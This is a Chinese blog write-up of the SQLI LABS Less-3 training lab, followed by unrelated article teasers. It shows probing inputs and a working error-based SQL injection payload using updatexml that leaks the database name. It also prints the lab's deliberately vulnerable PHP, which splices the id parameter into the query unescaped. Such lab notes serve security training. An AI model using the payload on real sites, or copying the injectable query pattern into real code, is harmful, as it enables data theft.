SQLI LABS | Less-3 GET-Error based-Single quotes with twist-String

news/2024/10/24 10:14:48/

关注这个靶场的其它相关笔记:SQLI LABS —— 靶场笔记合集-CSDN博客

0x01:过关流程

输入下面的链接进入靶场(如果你的地址和我不一样,按照你本地的环境来):

 http://localhost/sqli-labs/Less-3/

靶场提示 Please input the ID as parameter with numeric value 要我们输入一个数字型的 ID 作为参数进行查询,那我们就按它的意思传入 id 看看网页返回的结果:

可以看到,服务器返回了对应 id 用户的登录名与登录密码。此时,我们可以再输入几个数据进行测试:

 测试 Payload 01: ?id=1   # 结果: Your Login name:Dumb      Your Password:Dumb测试 Payload 02: ?id=2   # 结果: Your Login name:Angelina  Your Password:I-kill-you测试 Payload 03: ?id=2-1 # 结果: Your Login name:Angelina  Your Password:I-kill-you测试 Payload 04: ?id=1'  # 结果: 报错

可以看到,当我们传递 Payload 04 给服务器后端时,页面显示了报错信息,并且还返回了部分后端的查询模板,根据泄露的模板,我们可以推测目标后端的 SQL 模板如下:

 select username,password from users where id=('$_GET["id"]') LIMIT 0,1;

根据上面的 SQL 模板,我们可以构造如下 Payload 对目标发起攻击:

 -- 获取当前服务器正在使用的数据库的名称攻击 Payload: ?id=1') and updatexml(1,concat(0x7e,database(),0x7e),1) --+'笔者备注: 0x7e 是字符 ~ 号,用于标识服务器报出来的数据。

可以看到,我们已经成功获取了当前站点使用的后端数据库的信息。至此,SQLI LABS Less-3 GET-Error based-Single quotes with twist-String 成功过关。

0x02:源码分析

下面是 SQLI LABS Less-3 GET-Error based-Single quotes with twist-String 后端的部分源码,以及笔者做的笔记:

<?php//including the Mysql connect parameters.include("../sql-connections/sqli-connect.php"); // 获取数据库连接参数error_reporting(0);// take the variablesif (isset($_GET['id'])) { $id = $_GET['id']; // 接收 GET 方式传递的 id 参数//logging the connection parameters to a file for analysis.$fp = fopen('result.txt', 'a');fwrite($fp, 'ID:' . $id . "\n");fclose($fp);​// connectivity ​​$sql = "SELECT * FROM users WHERE id=('$id') LIMIT 0,1"; // 实际执行的查询语句,也就多加了一个括号而已,没有做任何防护$result = mysqli_query($con1, $sql);$row = mysqli_fetch_array($result, MYSQLI_BOTH);​if ($row) {echo "<font size='5' color= '#99FF00'>";echo 'Your Login name:' . $row['username'];echo "<br>";echo 'Your Password:' . $row['password'];echo "</font>";} else {echo '<font color= "#FFFF00">';print_r(mysqli_error($con1)); // 如果服务端没有返回任何信息,则打印错误信息。此处是报错注入的发生点。echo "</font>";}} else {echo "Please input the ID as parameter with numeric value";}​?>

http://www.ppmy.cn/news/1541572.html

相关文章

考研篇——数据结构王道3.2.3_队列的链式实现

目录 1.链队列2.代码实现2.1 带头结点2.2 不带头结点 总结 1.链队列 队列是一种线性结构&#xff0c;线性是指其在逻辑结构&#xff0c;上一节我们顺序存储实现队列&#xff0c;这次链式存储实现队列。与单链表的实现不同的是&#xff0c;只能在表头删除&#xff0c;表尾插入。…

大数据-185 Elasticsearch - ELK 家族 Logstash 安装配置 Input 插件-stdin stdout

点一下关注吧&#xff01;&#xff01;&#xff01;非常感谢&#xff01;&#xff01;持续更新&#xff01;&#xff01;&#xff01; 目前已经更新到了&#xff1a; Hadoop&#xff08;已更完&#xff09;HDFS&#xff08;已更完&#xff09;MapReduce&#xff08;已更完&am…

美的空调SAP ERP信息化整体规划方案|141页PPT

文档是关于美的空调SAP ERP信息化整体规划方案的详细介绍。文档从不同角度深入探讨了美的空调在实施SAP ERP系统时的规划方案、实施路线图、业务挑战、管理提升建议、系统架构设计、核心诉求、数据管理、供应链管理、生产管理、物料管理、质量管理、财务管理等多个方面。 案例介…

R语言笔记(一)

文章目录 一、R objects二、Types of data三、Operators1、Operators2、Comparison operators3、Logical operators 四、Check types of data objects五、Convertion between data objects六、R workspace 一、R objects Two basic types of things/objects: data and functio…

定时任务使用kafka

定时任务使用kafka 在上述业务场景中使用 Kafka 而不是直接定时执行任务有以下几个重要原因&#xff1a; 一、解耦 任务触发与执行分离&#xff1a; 使用 XXL-JOB 定时触发任务并将任务消息发送到 Kafka&#xff0c;实现了任务触发端&#xff08;通常是调度系统&#xff09;和…

element 中 el-dialog 在不同的文件中使用

在实际中工作&#xff0c;我们经常需要使用 el-dialog 来做一个弹框的功能。最常见的就是在父组件中点击一个按纽&#xff0c;然后弹出一个框。而这个框就是子组件。同时&#xff0c;父子组件是分布在不同的文件中。 <!--父组件--> <template> <div> <…

LabVIEW继电器视觉检测系统

随着制造业的自动化与高精度要求不断提升&#xff0c;传统的人工检测方法逐渐难以满足高效和高精度的需求。特别是在航空航天、医疗设备等高端领域&#xff0c;密封继电器推动杆部件的质量直接影响到设备的性能与可靠性。LabVIEW自动化视觉检测系统&#xff0c;能对推动杆部件进…

TCP(三次握手)和UDP(面向无连接)的原理以及区别

TCP(三次握手)和UDP&#xff08;面向无连接&#xff09;的原理以及区别 网络协议是每个前端工程师都必须要掌握的知识&#xff0c;TCP/IP 中有两个具有代表性的传输层协议。 概述 &#x1f4e1;TCP&#xff08;Transmission Control Protocol&#xff09;是一种网络协议&#…